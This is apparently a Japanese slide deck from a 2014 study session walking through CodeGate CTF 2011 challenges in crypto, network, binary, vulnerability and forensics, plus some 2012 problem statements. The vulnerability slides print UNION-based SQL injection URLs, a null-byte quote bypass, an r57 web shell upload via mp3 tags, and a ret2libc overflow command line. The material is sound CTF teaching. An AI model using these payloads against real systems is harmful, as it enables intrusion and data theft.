CodeGate CTF 過去問題の練習 - tanakazakku.com · 本日の予定 Codegate...

Post on 10-Feb-2019

262 views 0 download

Transcript of CodeGate CTF 過去問題の練習 - tanakazakku.com · 本日の予定 Codegate...

CodeGate CTF 過去問題の練習

大和セキュリティ@神戸デジタル・ラボ

田中ザック 2014年2月15日

本日の予定 Codegate 2011年の問題の解説

2012年の問題に挑戦!

CTFとは?

大和セキュリティとは?

大和(だいわ)じゃない

黒い猫と関係ない

戦艦と関係ない・・

奈良と関係ない・・

大和=日本・日本人

あまり深い意味はないから

CodeGate CTF 2014• 韓国で行なわれる有名なCTF

• 優勝賞金=約430万円

• 30時間(21日21時~23日3時まで)

CodeGate 2011年の問題 Writeups:

http://malwarereversing.wordpress.com/2011/03/08/codegate-2011-writeups-

collection/

暗号(Crypto)100

暗号(Crypto)100•(古い?)携帯のキーパッド • 例:2 = a, 22 = b, 222 = c, 3 = d

暗号(Crypto)100• Substituion Cipher (換字式暗号)

• Frequency Analysis (周波数解析 頻度分析)

暗号(Crypto)100• グーグル:「simple substitution cipher online cracking」

• www.simonsingh.net/The_Black_Chamber • Transposition Cipher (Rail Fence, Latin Square),

Substitution (Caesar, Kama-sutra, Pigpen, Mono-alphabetic), Digraph, Homophonic, Playfair, Vigenere

暗号(Crypto)100• 2 = a, 22 = b, 222 = c, 3 = dじゃなくてもクラッキングできる

•ユニークパッターンをリストアップ • 23パッターン •英語のアルファベット=26個 •頻度分析

暗号(Crypto)100• “Cryptography IN A SUBSTITUTION CIPHER IS A METHOD

OF ENCRYPTION BY WHICH ARE UniTrain OF PLAINTEXT REPLACED WITH A REGULAR ciphertext ACCORDING TO THE SYSTEM UNITS SINGLE MAYBE EVEN LETTERS OF LETTER OF LETTERS STRIPLETS MIXTURES OF THE ABOVE THIS IS ENCRYPTED BY TELEPHONE ciphertext KEY PAD SO WE CALL THIS CIPHER KEY PAD”

•回答:keypad cipher

暗号 (Crypto) 200• 暗号文が入っているファイル • SCMPKBOUPDPHYTIAVIVRBTMVORUDNBDFN

ETDOIVTXROUNDKOBFWBPVOEQLTGKKAR等々

• ファイルの長さが337バイト(素数) • 全て印刷可能な文字 • 頻度分布がほぼ同じ

暗号 (Crypto) 200• 特徴: • 長さが素数 → 直接エンコード(一文字を暗号化したら複数の文字にならない)

• 全て印刷可能な文字 & 頻度分布がほぼ同じ →Polyalphabetic Substitution (複数アルファベット暗号)例:Vigenere Cipher

暗号 (Crypto) 200• cifer (Ubuntuレポジトリ)

• cifer> load ciphertext buffer_1 file2buffer: loaded 337 bytes into buffer 1cifer> vigenere_crack buffer_1 buffer_2 1 20Attempting Vigenere Cipher Crack 1 -> 20 keylenKeyword: kripto - 10 17 8 15 19 14

• 回答:kripto

暗号 (Crypto) 300• we are investigating an illegal online gambling site. To find any evidence to

support for illegal gambling, we must access the oracle database with administrator privileges. The suspect says that he does not know the administrator password, but we know for sure that he is lying.

• The password is estimated to be longer than 8 characters. However, we don't have enough time to apply a brute-force attack. In order to request an arrest warrant, we must find the evidence of illegal gambling before the YUT-Challenge is over. By using social engineering, we were able to find various data about the suspect. By analyzing the data, the suspect always include last four digits('1024') of his phone number in his password. Hence, we may assume that his phone number is included in the administrator password for the database.

• The given file is the dump file of sys.user$ table in oracle database. (The data file of system tablespace is too big to upload.)

• Find the password of 'SYSTEM' account.

暗号 (Crypto) 300• テキストエディターで開いて、印刷不可能文字を無視 • 「SYSTEM 1089A2DF2B0C76AA」DESハッシュ

• DESハッシュ→大文字化。SHAハッシュを無視

• Oracleパスワードクラッカーhttp://conus.info/utils/ops_sse2/

• オープンソースなので「1024」が入るように修正 • 丁度8桁。(説明は信用できない)

• でかいaccess_logで怪しいURLがいっぱい

• 403が返ってくるまで何かのパッターン

• URLがBASE64化されている

• バイナリにデコードしたら、1バイトだけ変えてる

• Padding Oracle攻撃

暗号 (Crypto) 400

• 500→パッディングが違うから却下

• 403→パティングがOKだけど、中身が間違ってる

• PKCS#5=PKCS#7 padding schemeだと判明

• 最後のメッセージをパッディングの長さ(0x10)でXORし、元の暗号化文とXOR→解読

• http://mslc.ctf.su/wp/codegate-ctf-2011-crypto-400/d

暗号 (Crypto) 400

ネットワーク100• pcap → 「答えがファイルのMD5」 • Wireshark → File > Export > Objects > HTTP

ネットワーク 200• ファイル:pcap • ヒント:「man id」 • Wiresharkで見たらpingに不審な通信 • idという文字列を発見 • 5253430e1f7b434b43421d591e564f444b1e425d5b581e5a485a3bs

5a574e14104d0058024346544651405e4b5d544a034340425524 • 印刷可能な文字と印刷不可能な文字がある != classic

cipher • しかし印刷可能な文字が多いため、モダン暗号化ではない • XOR!

ネットワーク 200• 一文字のXOR(255個)で総当たりしても駄目

• Pcapで見たキーワードでXORしても駄目だったから、適当に推測する

• "CODEGATE", "WHAT IS THE DAMN KEY", “127.0.0.1".

• “127.0.0.1”で解読 → c0v3rtchannelex4mple

ネットワーク 300• 「M」が表示するウェブページ • 同じPHPSESSIDとIPアドレスでアクセスすると「同じIPアドレスを発見」というエラー

• 同じPHPSESSIDで違うIPアドレスを数回アクセスすると

• 「Msg: wFTeNtyMklGa Congraturation! You have succeeded, hint: reverse me」

• aGlkMytNeTFwをBase64でデコード → 回答

バイナリ 100• ヘッダーの訳がわからないバイナリ • 中にエンコードされたJavascriptコード • / / ** Start Encode **

_ $ _ $ $ $ _ = "CharAt", $ = ~ [] = {___ $: + + $ $ $ $ $: [_ $ _ $ _ $] (([] + "!") $) __ $: + ..k

• VBScript.Encode (jjencode (packer (jjencode (variable_en_octale))))で難読化?

• http://pferrie2.tripod.com/papers/jjencode.pdf

バイナリ 100• 最初の4文字「#@^」をググったら • http://www.virtualconspiracy.com/content/

scrdec/intro • MicrosoftのJSの難読化ツール • Firebugで変数見たらフラグをゲット

バイナリ 200• Windows EXE • 実行しても何もしないので、IDAでRE • スタックに沢山のバイトをPUSHする関数 • (恐らく文字列を隠そうとしてる) • 最後にprintf %s (鍵生成) • Cにデコンパイルして、再コンパイルして、 実行するとフラグ出力

バイナリ 300• ヒント:「Find the Malicious ID」「悪意のあるIDを見つけろ」

• file binary → DLL • Windowsマシンで.dllに変えたら「BHO (Browser Helper Object)

• regsvr32.exe binary.dllで登録

バイナリ 300• IEを開いても何も変わっていないよう • Ollydbgでデバッグ • インポートされる関数リストにstrncpy • ブレイクポイントで確認

バイナリ 300• Google ADのあるサイトにアクセスしたらブレイクポイントで止まる

• google ads frameを探しているよう • 広告のIDを自分のIDと差し替える 「ca-pub-0123456789012345」

バイナリ 400

•バラバラにされたバイナリの手術

脆弱性 (Vuln) 100• mp3をアップロードできるウェブサイト • .php等をアップしてもエラー • .phpファイルを.mp3に変えて、アップすると

mp3タグが正しくないというエラー • id3toolを使ってmp3タグに攻撃コード?

http://nekohako.xware.cx/id3tool/

脆弱性 (Vuln) 100• id3-c "gold '1 '= 1 -" test.mp3

脆弱性 (Vuln) 100• phpinfo()が入ってるタグのmp3をアップ

脆弱性 (Vuln) 100• r57シェルをアップロード

脆弱性 (Vuln) 100• dbconn.php: • $ Con = mysql_connect ("localhost", "root", "zhemrpdlxm # #");

脆弱性 (Vuln) 100• musicのDBを見てみる

脆弱性 (Vuln) 100• vul100pwdのテーブル発見!

脆弱性 (Vuln) 200•認証画面のウェブサイト •認証したら以下のようのリンクが表示: •例:http://221.141.3.112/view.php?id = •ヒント:管理者アカウントをゲット! • Administrator:Administratorを推測 • http://221.141.3.112/view.php?id=0%20UNION

%20ALL%20SELECT%200,0,group_concat%28database%28%29,0x3a,user%28%29%29–%20-d

脆弱性 (Vuln) 200• URLデコード:?id=0 UNION ALL SELECT

0,0,group_concat(database(),0x3a,user()) - • 結果:codegate1_messages: codegate_msg @ localhost • セッションクッキー以外にlangという変数 • そこに‘UNION ALL SELECT

group_concat(database(),0x3a,user()),0— • 結果:codegate1: codegate1 @ localhost • ユーザとDB名が違う!

脆弱性 (Vuln) 200• テーブル:users

(変数:uid, uname, passwd, fname, lname, email)テーブル:lang (変数:lang_id, language)テーブル:raw_data(変数:data_id, data_value)

• usersとlangのDBを探してもフラグが無い • ‘UNION ALL SELECT

group_concat(data_id,0x3a,data_value),0 from raw_data–でraw_dataのテーブルをダンプ

脆弱性 (Vuln) 200• 70個のBase64のデータエントリー • 一個ずつデコードしてもフラグが中々出てこない • 一個だけが長さが違うからそれを見てみると • echo

"IVBORw0KGgoAAAANSUhEUgAAAAoAAAAKAQAAAAClSfIQAAAACXBIWXMAAAsT AAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA + f8AAIDpAAB1MAAA6mAAADqYAA AXb5JfxUYAAAAaSURBVHjaYvzPwMTAwMTwkYnhLSOUjUCAAQBVVwPvEoyQEAAARk xBRzozOTFjZTcwYWQzZGJhODIyNjExY2U1YTYxZWI3MTI1ZQAASUVORK5CYII = "| base64-d> && flag.png hexdump-C flag.png

脆弱性 (Vuln) 200

脆弱性 (Vuln) 300• サーバにSSHして、Setuidバイナリのローカルエクスプロイト

• Buffer Overflow (NX, ASLR) • ret2libcメソッド • / home / vuln1 / vuln300 -us0m3b0dy -p15n0b0dy -x` perl -e 'print "A"x0x1fd '` -fa -y` perl -e 'print " AAABB "," CCCC " ,"\ x31\ x56\ xbd\ x00"'` `perl -e 'print "\ x64\ x85\!x04\x08" x0x1000 ,"\ x10 \x75 \xb7 "'` `perl -e 'print " DDDD " ,"\ x16 \x8a \x04 \x08 \x20 \!x9f\x04\x08\x20\x9f \x04 \x08 "'` 'A'

脆弱性 (Vuln) 400• SQLインジェクション • クエリに「’」が使えない • ヌルバイトで回避→%00%27 • http ://221.141.3.111/ __board / board . php? order =

subject & search = test %00%27 UNION SELECT 'a','b ',( SELECT pass FROM sonic_board LIMIT 1) ,'d','e','f','g','h','i','j','k' %23

フォレンジック 100• 不明なバイナリ • foremostで中にファイルを探す • 発見したzipにindex.xmlを解凍 • その中にBASE64があるけど不正な記号が入ってるため上手くデコードできない

• 手動で抜いたらPNGファイルを復元

フォレンジック 200• 不明なバイナリ • file→Windows実行ファイルだけど大きい • foremostで中にファイルを探す • “The Key”というJPG • しかし画像が壊れている • Adroit Photo Forensics 2010 • なんとかぎりぎり読めるように・・

フォレンジック 200

フォレンジック 300• we are investigating the military secret’s leaking.

we found traffic with leaking secrets while monitoring the network.Security team was sent to investigate, immediately. But, there was no one present. It was found by forensics team that all the leaked secrets were completely deleted by wiping tool. And the team has found a leaked trace using potable device.Before long, the suspect was detained. But he denies allegations. Now, the investigation is focused on potable device.The given files are acquired registry files from system.The estimated time of the incident is Mon, 21 February 2011 15:24:28(KST). Find a trace of portable device used for the incident.The Key : “Vendor name” + “volume name” + “serial number” (please write in capitals)

フォレンジック 300• Windows Registryのバックアップファイル • フラグ:”Vendor Name” + “Volume Name”

+ “Serial Number” • Alien Registry Viewer (http://lastbit.com/arv/

default.asp) (しかし有料:50ユーロ)

• スタンドアロンのRegistryファイルを解析

フォレンジック 300• Linuxのreglookup-timeline • 2011-02-21 06:24:21,system.bak,/

ControlSet001/Enum/WpdBusEnumRoot/UMB/2&37c186b&0&STORAGE#VOLUME#_??_USBSTOR#DISK&VEN_CORSAIR&PROD_UFD&REV_0.00#DDF08FB7A86075&0#/Properties/\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b\}/

00000003/00000000!!

フォレンジック 300• 後はVolume Nameだけ • DDF08FB7A86075をgrep • software.lookup:/Microsoft/Windows Portable

Devices/Devices/WPDBUSENUMROOT#UMB#2&37C186B&0&STORAGE#VOLUME#_??_USBSTOR#DISK&VEN_CORSAIR&PROD_UFD&REV_0.00#DDF08FB7A86075&0#/FriendlyName,SZ,PR0N33R

• どのレジストリキーを探せば良いのか?

フォレンジック 400

• We acquired a file system metadata to investigate incident involving copyright violations.

• Out analysis shows that the incident is associated with the encrypted file.

• Find the file. The key is full-path of the file.

フォレンジック 400• NTFS Volume (マウントできない) • analyzeMFT V1.7 • ファイル・フォルダ名をCSVに出力 • けど暗号化されているかどうか分からん • 暗号化の属性を出力するように修正 • 45,000ファイルの中に一個が暗号化された • C:\Documents and Settings\proneer\My

Documents\Outlook Files\heEYA.dats

2010-2012年予選のWriteups• 2010

http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2010/03/Codegate2010_PQ_Writeup_PPP.pdf

• 2011http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2011/03/Codegate2011PQ-Writeup-PPP.pdf

• 2012http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2012/02/Codegate2012_PQ_Writeup_PPP.pdf

2012年 フォレンジック100• In order to steal financial information of Company X, IU got a job under

cover. She decided to attack CFO’s computer, and then insert malicious code to his computer in the way of social engineering. She figured out that he didn’t use to turn off his computer, when he gets off work. After he leaves the office, she obtains financial data from his computer to search EXCEL file. By checking installed application program, she can find the information in the file. She lacks the file externally. In order to remove all traces, she erases malicious code, event logs and recent file list.The company X has to figure out what information she stole correctly to make an appropriate measure. These are files attacked from CFO’s computer. Find the full path and size of the file which she stole. On the day, CFO left the office at 14:00. The time is based on Korea Standard Time(UTC +09:00).Answer: strupr(md5(full_path|file_size)) (‘|’ is just a character)

2012年 フォレンジック100• X社の財務情報を盗むために入社して、ソーシャルハック使ってCFO(最高財務責任者)のパソコンにマルウェアを感染させた。このバックドアで機密情報を全部盗んで、最近使用したファイルリスト、イベントログ、バックドアなどの証拠を消した。X社はどの情報が漏えいされたか知りたいので盗まれたファイルのフルパスとサイズを調べて下さい。情報漏えいが発見された日にCFOが会社を14:00に帰りました。時間は韓国のUTC +09:00です。回答がstrupr(md5(“full_path”|”file_size”)) ※|はただの文字

2012年 フォレンジック200• When IU who lives in Seoul tried to do SQL Injection

attack a certain WEB site, suddenly the browser was closed abnormally. What is the SQL Injection value she tried to enter and when the browser was closed? The time is based on Korea Standard Time(UTC +09:00) Time Format is YYYY-MM-DDThh:mm:ssTZD (TZD : +hh:mm or hh:mm)Answer : injection_value|time(‘|’ is just a character) Convert ‘ ‘ to ‘_’ for injection value.

2012年 フォレンジック200

• 攻撃者があるサイトにSQLインジェクションをやっていたらブラウザが突然死んだ。ブラウザが落ちた時のSQLインジェクション文は何?時間は韓国時間。

2012年 ネットワーク100• Someone have leaked very important documents. We

couldn’t find any proof without one PCAP file. But this file was damaged. The password of disclosure document is very weakness and based on Time, can be found easily.Cryptographic algorithm is below.Msg = ¡°ThisIsNotARealEncryption!SeemToEncoding¡± Key = 0×20120224 (if date format is 2012/02/24 00:01:01)Cryto = C(M) = Msg * Key = 0xa92fd3a82cb4eb2ad323d795322c34f2d809f78

2012年 ネットワーク100• 重要な情報が漏えいされた。証拠はこのPCapしかないが、破損されている。漏えいされた資料のパスワードが時間による弱い暗号化方式。以下の通りです。

• メッセージ(Msg) = ¡°これは暗号化ではなくエンコード化のよう¡±Key = 0×20120224 (日付が2012/02/24 00:01:01の場合)暗号文 = C(M) = Msg * Key = 0xa92fd3a82cb4eb2ad323d795322c34f2d809f78

• 暗号化された資料を復号して下さい。

2012年 ネットワーク200• To whom it may concern to DoS attack.

What is the different between attack and normal traffic?Attached PCAP file is from suspicious client PC which may be infected.If you find TOP 4 targeting address, let me know exactly information such as below.Answer:COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4

2012年 ネットワーク200

• DoS攻撃が来た。DoS攻撃と普通の通信の違いは何?!• トップ4の攻撃者のIPアドレスを調べて下さい。

Answer:COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4

2013年の日本語のWriteup• Dlog

http://d.hatena.ne.jp/Dltn/20130303/1362274004Misc (100, 200, 300)Forensics 100 Web (100, 200, 300, 400, 500)Binary 100!

!

• http://sec-v6.blogspot.jp/2013/03/codegate-2013-forensics-100-writeup.htmlForensics (100, 200, 300)